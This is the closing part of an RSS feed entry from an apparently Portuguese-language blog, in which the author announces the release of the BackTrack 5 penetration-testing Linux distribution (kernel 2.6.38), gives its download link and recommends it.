		<description><![CDATA[Lançada nova release do BackTrack, atualmente na versão 5, kernel 2.6.38. Download: http://www.backtrack-linux.org/downloads/ Recomendo!! &#160; []&#8216;s Sergito]]></description>
			<content:encoded><![CDATA[<p>Lançada nova release do BackTrack, atualmente na versão 5, kernel 2.6.38.</p>
<p>Download: <a href="http://www.backtrack-linux.org/downloads/">http://www.backtrack-linux.org/downloads/</a></p>
<p>Recomendo!!</p>
<p>&nbsp;</p>
<p>[]&#8216;s</p>
<p>Sergito</p>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/05/11/backtrack-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

